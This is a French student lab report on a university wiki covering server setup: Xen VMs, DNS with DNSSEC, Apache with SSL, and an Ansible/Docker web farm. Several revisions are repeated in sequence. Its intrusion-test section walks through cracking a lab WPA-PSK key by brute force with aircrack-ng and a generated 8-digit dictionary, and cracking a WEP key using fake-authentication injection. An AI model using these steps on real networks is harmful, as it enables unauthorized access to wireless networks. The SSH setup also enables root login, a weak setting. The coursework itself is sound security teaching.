SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$
SSLVerifyclient NONE
</VirtualHost>

<VirtualHost 193.48.57.180:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
ProxyPass "/" "balancer://ourbalancer/"
ProxyPassReverse "/" "balancer://ourbalancer"
<Location "/balancer-manager">
SetHandler balancer-manager
Require host 193.48.57.180
</Location>
</VirtualHost>

<Proxy "balancer://ourbalancer">
BalancerMember http://192.168.0.1:8004
BalancerMember http://192.168.0.2:8004
BalancerMember http://192.168.0.3:8004
BalancerMember http://192.168.0.4:8004
BalancerMember http://192.168.0.5:8004
BalancerMember http://192.168.0.6:8004
ProxySet lbmethod=byrequests
</Proxy>

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

TP sysres IMA5sc 2019/2020 G4

2019-12-16T16:52:09Z

Zbriois : /* Equilibreur de charge */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'
#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]
#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Chlamydiae on installe bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "chlamydiae.site" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre bind9 :
service bind9 restart

En cas d'erreur on a accès au log dans /var/log/daemon.log

Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter:
name : ns.chlamydiae.site
IP address : 193.48.57.180

C'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2: ns6.gandi.net

===Serveur Apache===
Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

Redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options:
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
On signe les enregistrements de la zone en exécutant la commande suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
# export http_proxy=http://proxy.plil.fr:3128
# export https_proxy=http://proxy.plil.fr:3128
# xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # = adresse de private-chlamydiae + 10
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 193.48.57.180 # l'adresse de la VM principale
address 192.168.0.4

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

===Paramétrage des rôles===
Crée un dossier roles dans /root
mkdir roles

Créer dans le dossier roles un dossier common et un fichier common.yml
mkdir common && vim common.yml

Dans le fichier Common.yml:
---
- hosts: nous
tasks:
- name: include common
include_role:
name: common

Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.

===== Motd =====
Dans le dossier tasks on crée un fichier main.yml:
- name: Write on motd
copy:
dest: /etc/motd
src: motd

Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.
Ce fichier motd contiendra notre message.

===== NTP =====
Pour le serveur de temps dans le fichier main.yml on ajoute:
- name: install ntp
apt:
name: ntp
- name: install ntpdate
apt:
name: ntpdate
- name: Copy over the NTP configuration
copy: src=ntp.conf dest=/etc/ntp.conf
tags: ntp
- name: Stop ntp
service: name=ntp state=stopped enabled=yes
tags: ntpd
- name: Sync time initialy
shell: ntpdate ntp.polytech-lille.fr
tags: ntp
- name: Make sure NTP is started up
service: name=ntp state=started enabled=yes
tags: ntp

Dans le dossier files on crée ntp.conf qui référence notre NTP:
server ntp.polytech-lille.fr

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Pour tester la partie docker indépendamment, sur la machine secondaire:
:- on crée notre index.html (basique)
:- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On crée l'image:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

Puis on la run:
docker run -dit -p 1234:80 webserver:v1

====Configuration de vos serveurs internes====

Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:
---
- hosts: serveurs-internes
tasks:
- name: install rsync
apt:
state: latest
name: 'rsync'

- name: transfer files
copy:
src: DockerFiles
dest: /tmp/gr4/
register: copy_output
- debug: var=copy_output

- name: build Docker image from Dockerfile
docker_image:
tag: latest
name: image-for-chlamydiae
path: /tmp/gr4/DockerFiles
state: present

- name: Create the container
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: present

- name: check if container is running
shell: 'docker ps'
register: docker_ps
- debug: var=docker_ps.stdout_lines

- name: Last
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: started
recreate: yes
ports:
- "8004:80"

Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:
# - name: Try to stop container
# docker_container:
# name: container-chlamydiae
# state: stopped
# image: image-for-chlamydiae

# - name: Delete container
# docker_container:
# name: container-chlamydiae
# state: absent
# image: image-for-chlamydiae

# - name: Delete the image
# docker_image:
# name: image-for-chlamydiae
# tag: latest
# state: absent
# force: yes

Que l'on lance avec la commande:
ansible-playbook file_name.yml

====Equilibreur de charge====
<VirtualHost 193.48.57.180:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/key/myserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyclient NONE
</VirtualHost>

<VirtualHost 193.48.57.180:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
ProxyPass "/" "balancer://ourbalancer/"
ProxyPassReverse "/" "balancer://ourbalancer"
<Location "/balancer-manager">
SetHandler balancer-manager
Require host 193.48.57.180
</Location>
</VirtualHost>

<Proxy "balancer://ourbalancer">
BalancerMember http://192.168.0.1:8004
BalancerMember http://192.168.0.2:8004
BalancerMember http://192.168.0.3:8004
BalancerMember http://192.168.0.4:8004
BalancerMember http://192.168.0.5:8004
BalancerMember http://192.168.0.6:8004
ProxySet lbmethod=byrequests
</Proxy>

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

TP sysres IMA5sc 2019/2020 G4

2019-12-16T15:02:51Z

Zbriois : /* Configuration de vos serveurs internes */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'
#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]
#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Cordouan on installe bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "chlamydiae.site" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre bind9 :
service bind9 restart

En cas d'erreur on a accès au log dans /var/log/daemon.log

Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter:
name : ns.chlamydiae.site
IP address : 193.48.57.180

C'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2: ns6.gandi.net

===Serveur Apache===
Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

Redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options:
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
On signe les enregistrements de la zone en exécutant la commande suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
# export http_proxy=http://proxy.plil.fr:3128
# export https_proxy=http://proxy.plil.fr:3128
# xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # = adresse de private-chlamydiae + 10
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 193.48.57.180 # l'adresse de la VM principale
address 192.168.0.4

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

===Paramétrage des rôles===
Crée un dossier roles dans /root
mkdir roles

Créer dans le dossier roles un dossier common et un fichier common.yml
mkdir common && vim common.yml

Dans le fichier Common.yml:
---
- hosts: nous
tasks:
- name: include common
include_role:
name: common

Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.

===== Motd =====
Dans le dossier tasks on crée un fichier main.yml:
- name: Write on motd
copy:
dest: /etc/motd
src: motd

Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.
Ce fichier motd contiendra notre message.

===== NTP =====
Pour le serveur de temps dans le fichier main.yml on ajoute:
- name: install ntp
apt:
name: ntp
- name: install ntpdate
apt:
name: ntpdate
- name: Copy over the NTP configuration
copy: src=ntp.conf dest=/etc/ntp.conf
tags: ntp
- name: Stop ntp
service: name=ntp state=stopped enabled=yes
tags: ntpd
